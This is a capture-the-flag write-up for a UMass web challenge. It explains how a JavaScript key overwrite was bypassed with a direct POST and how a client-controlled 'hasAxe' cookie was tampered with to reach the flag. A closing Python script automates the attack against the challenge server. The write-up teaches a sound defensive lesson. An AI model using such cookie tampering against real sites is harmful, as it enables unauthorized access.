BrOWSER BOSS FIGHT
umasscybersec
Task: a web challenge hid progression behind inline JavaScript and client-controlled cookies. Solution: bypass the browser-side key overwrite with a direct POST, then tamper with the hasAxe cookie to reach the flag page.
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BrOWSER BOSS FIGHT — UMass Cybersecurity CTF
Description
Organizer description was not preserved in the local task files.
English summary: the landing page presented a password form, but browser JavaScript silently replaced any submitted value with a fake key. After bypassing that behavior with a direct request, the second stage relied on a client-controlled cookie for authorization, which could also be tampered with to obtain the flag.
Analysis
The first page at / contained a form posting to /password-attempt. Recon also showed inline JavaScript that overwrote whatever the user entered with WEAK_NON_KOOPA_KNOCK before submission, so solving the challenge from the browser alone would always send the wrong secret.
The response headers exposed an additional clue: King Koopa, if you forget the key, check under_the_doormat!. That strongly suggested the real key was under_the_doormat, and the JavaScript was only a client-side obstacle.
Sending a direct POST request to /password-attempt with key=under_the_doormat bypassed the JavaScript entirely and granted access to /bowsers_castle.html. That page then set multiple cookies, including hasAxe=false.
The castle page text explained that Bowser had removed the axe, which is exactly the sort of state that should never be trusted when it is stored in a client-controlled cookie. Re-requesting /bowsers_castle.html with hasAxe=true changed the server response and returned the flag page.
The core lesson is simple: never trust client-side JavaScript or client-controlled cookies for access control. Anything enforced only in the browser can be bypassed, and any state stored on the client can be modified.
Solution
- Request
/and inspect the HTML and headers. - Notice the form posts to
/password-attempt, but inline JavaScript rewrites the submitted key toWEAK_NON_KOOPA_KNOCK. - Read the response header hint and recover the real key:
under_the_doormat. - Send a direct POST request to
/password-attemptwithkey=under_the_doormat, bypassing the browser logic. - Save the returned session cookies and open
/bowsers_castle.html. - Observe the cookie
hasAxe=falseand the page text implying that possession of the axe controls progression. - Re-request
/bowsers_castle.htmlwithhasAxe=true. - Receive the flag page.
#!/usr/bin/env python3 import re import requests BASE = "http://browser-boss-fight.web.ctf.umasscybersec.org:48003" SESSION = requests.Session() home = SESSION.get(f"{BASE}/", timeout=10) home.raise_for_status() print("[+] Saw password form:", "/password-attempt" in home.text) print("[+] Hint header:", home.headers.get("Hint") or home.headers.get("hint") or "not found") stage1 = SESSION.post( f"{BASE}/password-attempt", data={"key": "under_the_doormat"}, timeout=10, ) stage1.raise_for_status() castle = SESSION.get(f"{BASE}/bowsers_castle.html", timeout=10) castle.raise_for_status() print("[+] Cookies after entry:", SESSION.cookies.get_dict()) SESSION.cookies.set("hasAxe", "true") flag_page = SESSION.get(f"{BASE}/bowsers_castle.html", timeout=10) flag_page.raise_for_status() flag = re.search(r"UMASS\{[^}]+\}", flag_page.text) print("[+] Flag:", flag.group(0) if flag else "not found")
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